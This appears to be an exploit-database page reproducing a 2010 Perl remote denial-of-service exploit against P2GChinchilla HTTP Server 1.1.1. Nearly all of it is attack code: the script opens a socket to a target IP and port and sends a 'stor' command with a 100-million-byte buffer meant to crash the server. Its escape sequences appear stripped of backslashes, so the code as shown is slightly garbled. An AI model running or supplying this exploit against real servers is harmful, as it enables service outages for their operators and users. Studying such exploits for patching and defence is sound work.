[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : P2GChinchilla HTTP Server v1.1.1 Denial Of Service Exploit
# Published : 2010-01-24
# Author : Zer0 Thunder
# Previous Title : Winamp v5.572 whatsnew.txt Stack Overflow PoC
# Next Title : Sonique2 v2.0 Beta Build 103 Local Crash PoC
#!/usr/bin/perl
# File Name :P2GChinchilla[TM] HTTP Server
# Vuln : Remote Denial Of Service Exploit
# Auther : Zer0 Thunder
# Msn : zer0_thunder@colombohackers.com
#
#
##==------>>
#
# Exploit Title: P2GChinchilla[TM] HTTP Server 1.1.1 Remote Denial Of Service Exploit
# Date: 22/01/2010
# Author: Zer0 Thunder
# Version: v 1.1.1
# Tested on: Server runs on Windows XP Sp2 /Test on Remote Location
##==------>>
use IO::Socket::INET;
$ip = $ARGV[0];
$port = $ARGV[1];
if (! defined $ARGV[0])
{
print "t+================================================================+n";
print "t+ --- P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service ---+n";
print "t+ --- Author :Zer0 Thunder ---+n";
print "t+ --- DATE: :[24/01/2010] ---+n";
print "t+ --- ------------------------------------------------ ---+n";
print "t+ --- Usage :perl exploit.pl [Host/Remote IP] [Port] ---+n";
print "t+ --- ---+n";
print "t+================================================================+n";
print "n";
print " Ex : exploit.pl localhost 50000n"; # P2GChinchilla Default Port is 50000
exit;
}
print "t+================================================================+n";
print "t+ --- P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service ---+n";
print "t+ --- Author :Zer0 Thunder ---+n";
print "t+ --- DATE: :[24/01/2010] ---+n";
print "t+ --- ------------------------------------------------ ---+n";
print "t+ --- Usage :perl exploit.pl [Host/Remote IP] [Port] ---+n";
print "t+ --- ---+n";
print "t+================================================================+n";
print "n";
print " Wait Till The Buffer is Donen";
my $b1 = "x41" x 100000000;
print "n";
print " DoS is UP !.. N Give it a Second n";
$DoS=IO::Socket::INET->new("$ip:$port") or die;
print $DoS "stor $b1n";
print $DoS "QUITn";
close $DoS;
# exit :